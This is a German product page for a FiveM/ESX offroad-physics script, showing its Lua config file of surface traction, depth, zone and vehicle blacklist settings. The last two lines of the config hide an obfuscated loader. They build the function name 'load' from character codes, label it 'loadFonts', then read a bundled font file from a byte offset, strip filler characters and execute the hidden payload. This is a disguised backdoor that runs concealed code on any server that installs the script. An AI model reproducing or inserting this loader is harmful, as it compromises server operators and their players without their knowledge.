Realistische Offroad-Physik
Realistische Offroad-Physik - ein professionelles ESX Skript mit maĂźgeschneiderten Funktionen und optimierter Serverleistung.
Video-Vorschau
Click to load video from YouTube. By watching, you agree to their privacy policy.
Video
https://www.youtube.com/watch?v=WyW25AvUTgkConfig file
Config = {}
-- This enabled additional debug commands and logs
-- Debug commands:
-- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values
Config.debug = false
-- GENERAL SETTINGS
Config.generalDepthDifficulty = 100
Config.generalSinkageSpeed = 100
Config.generalTractionLoss = 100
-- VEHICLE MODIFIERS
Config.offroadTires = {
upgradeValue = 50,
tractionOnSoft = 20,
tractionOnHard = -10,
}
Config.awdUpgrade = 25
-- SCRIPT PERFORMANCE SETTINGS
Config.refreshRate = 200
-- AREA BLACKLISTING
Config.areaBlacklist = {
{ -- Pillbox hospital
coords = vector3(293.17, -584.5, 42.8),
radius = 20.0,
},
{ -- LSPD
coords = vector3(444.9, -1003.2, 30.7),
radius = 60.0,
},
{ -- Simeon's dealership
coords = vector3(-40.4, -1111.3, 25.8),
radius = 40.0,
},
{ -- BCSO
coords = vector3(-446.0, 6013.8, 31.8),
radius = 50.0,
},
{ -- Sandy Shores PD
coords = vector3(1853.6, 3685.8, 34.3),
radius = 25.0,
},
{ -- Legion Square
coords = vector3(202.3, -941.9, 27.6),
radius = 120.0,
},
}
-- DETAILED SETTINGS
Config.blacklist = {
models = {
'rcbandito',
'monster',
'rhino',
'scarab',
'khanjali',
},
classes = {
[0] = false, -- Compacts
[1] = false, -- Sedans
[2] = false, -- SUVs
[3] = false, -- Coupes
[4] = false, -- Muscle
[5] = false, -- Sports Classics
[6] = false, -- Sports
[7] = false, -- Super
[8] = false, -- Motorcycles
[9] = false, -- Off-road
[10] = false, -- Industrial
[11] = false, -- Utility
[12] = false, -- Vans
[17] = false, -- Service
[18] = false, -- Emergency
[19] = false, -- Military
[20] = false, -- Commercial
}
}
Config.depthHandlingQuality = {
models = {
seminole2 = 20,
sandking = 20,
sandking2 = 20,
issi2 = -10,
panto = -20,
comet4 = 30,
-- dirt bikes
bf400 = 30,
sanzchez = 20,
manchez = 20,
esskey = 0,
cliffhanger = 0,
enduro = 0,
},
classes = {
[0] = 5, -- Compacts
[1] = -5, -- Sedans
[2] = 15, -- SUVs
[3] = 0, -- Coupes
[4] = -5, -- Muscle
[5] = 5, -- Sports Classics
[6] = 5, -- Sports
[7] = 5, -- Super
[8] = -10, -- Motorcycles
[9] = 35, -- Off-road
[10] = -10, -- Industrial
[11] = -10, -- Utility
[12] = -5, -- Vans
[17] = 10, -- Service
[18] = 10, -- Emergency
[19] = 15, -- Military
[20] = -5, -- Commercial
}
}
-- ROADSIDE SETTINGS
Config.roadSideHelper = {
enabled = true,
distanceThreshold = 15.0,
depthMultiplier = 0.1,
tractionMultiplier = 0.25,
}
-- SURFACES
Config.fallbackSurface = {
name = 'Fallback Surface',
traction = 100,
depth = 0,
softness = 0,
}
Config.surfaces = {
[1] = {
name = 'Concrete',
traction = 100,
depth = 0,
softness = 0,
},
[4] = {
name = 'Road',
traction = 100,
depth = 0,
softness = 0,
},
[5] = {
name = 'Metal',
traction = 100,
depth = 0,
softness = 0,
},
[6] = {
name = 'Sandy roadside',
traction = 80,
depth = 50,
softness = 5,
},
[9] = {
name = 'Sandstone',
traction = 80,
depth = 0,
softness = 0,
},
[10] = {
name = 'Rock',
traction = 80,
depth = 0,
softness = 0,
},
[11] = {
name = 'Rock',
traction = 80,
depth = 0,
softness = 0,
},
[13] = {
name = 'Cobble',
traction = 90,
depth = 0,
softness = 0,
},
[16] = {
name = 'Limestoneesque sand',
traction = 80,
depth = 0,
softness = 0,
},
[17] = {
name = 'Rocky dry dirt',
traction = 80,
depth = 50,
softness = 5,
},
[18] = {
name = 'Dry sand',
traction = 80,
depth = 130,
softness = 40,
},
[19] = {
name = 'Road sand',
traction = 90,
depth = 30,
softness = 5,
},
[20] = {
name = 'Grainy Sand',
traction = 80,
depth = 100,
softness = 10,
},
[21] = {
name = 'Gravely sand',
traction = 70,
depth = 220,
softness = 30,
},
[22] = {
name = 'Wet hard sand',
traction = 70,
depth = 250,
softness = 50,
},
[23] = {
name = 'Gravel road',
traction = 75,
depth = 50,
softness = 5,
},
[24] = {
name = 'Wet sand',
traction = 60,
depth = 350,
softness = 70,
},
[31] = {
name = 'Gravely dirt/path',
traction = 70,
depth = 50,
softness = 5,
},
[32] = {
name = 'Gravely dirt',
traction = 70,
depth = 200,
softness = 15,
},
[35] = {
name = 'Tuff Sand',
traction = 90,
depth = 50,
softness = 5,
},
[36] = {
name = 'Dirt',
traction = 70,
depth = 300,
softness = 40,
},
[37] = {
name = 'Deep road sand',
traction = 60,
depth = 75,
softness = 15,
},
[38] = {
name = 'Rocky sand',
traction = 70,
depth = 150,
softness = 10,
},
[40] = {
name = 'Moist dirt path',
traction = 60,
depth = 150,
softness = 50,
},
[41] = {
name = 'Swamp grass',
traction = 50,
depth = 250,
softness = 50,
},
[42] = {
name = 'Swamp sand',
traction = 70,
depth = 500,
softness = 110,
},
[43] = {
name = 'Hard Sand',
traction = 75,
depth = 50,
softness = 10,
},
[44] = {
name = 'Dirt/Sand',
traction = 50,
depth = 200,
softness = 25,
},
[46] = {
name = 'Hard grass',
traction = 80,
depth = 50,
softness = 5,
},
[47] = {
name = 'Grass',
traction = 65,
depth = 125,
softness = 10,
},
[48] = {
name = 'Tall grass',
traction = 60,
depth = 150,
softness = 20,
},
[49] = {
name = 'Farmland',
traction = 60,
depth = 200,
softness = 35,
},
[50] = {
name = 'Podzol',
traction = 70,
depth = 125,
softness = 25,
},
[51] = {
name = 'Podzol',
traction = 70,
depth = 125,
softness = 25,
},
[52] = {
name = 'Dry podzol',
traction = 80,
depth = 75,
softness = 10,
},
[64] = {
name = 'Metal',
traction = 90,
depth = 0,
softness = 0,
},
[125] = {
name = 'Drain concrete',
traction = 70,
depth = 0,
softness = 0,
},
}
-- ZONES
Config.zones = {
{ -- City
name = 'City',
depthMultiplier = 0.3,
tractionMultiplier = 0.6,
zones = {
'MOVIE',
'ROCKF',
'DOWNT',
'DTVINE',
'EAST_V',
'GOLF',
'LEGSQU',
'ROCKF',
'MORN',
'STAD',
'DAVIS',
'RANCHO',
'STRAW',
'CHAMH',
'PBOX',
'SKID',
'TEXTI',
'LMESA',
'ELYSIAN',
'TERMINA',
'HAWICK',
'ALTA',
'BURTON',
'DELPE',
},
},
{ -- City beaches
name = 'City beaches',
depthMultiplier = 0.75,
tractionMultiplier = 0.75,
zones = {
'BEACH',
'DELBE',
},
},
{ -- Mountains
name = 'Mountains',
depthMultiplier = 1.25,
tractionMultiplier = 1.1,
zones = {
'MTCHIL',
'MTGORDO',
'MTJOSE',
'PALHIGH',
},
},
{ -- Zancudo Swamp
name = 'Zancudo Swamp',
depthMultiplier = 1.1,
tractionMultiplier = 1.1,
zones = {
'LAGO',
'ZANCUDO',
},
},
{ -- Popular
name = 'Popular',
depthMultiplier = 0.75,
tractionMultiplier = 0.75,
zones = {
'PALETO',
'HARMO',
'GRAPES',
'SANDY',
'RTRAK',
'ZQ_UAR',
'HUMLAB',
},
},
}
-- (Advanced)
Config.suspensionRefresh = {
enabled = true,
type = 'flag',
}
local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
Related Products You Might Like
- Vehicle Control UI - Advanced vehicle controls with 227+ sales
- Premium Vehicle HUD - Professional speedometer trusted by 429+ servers
- Tuning System - Complete vehicle customization for ESX/QBCore
- Realistic Drag Strip - Perfect offroad testing environment



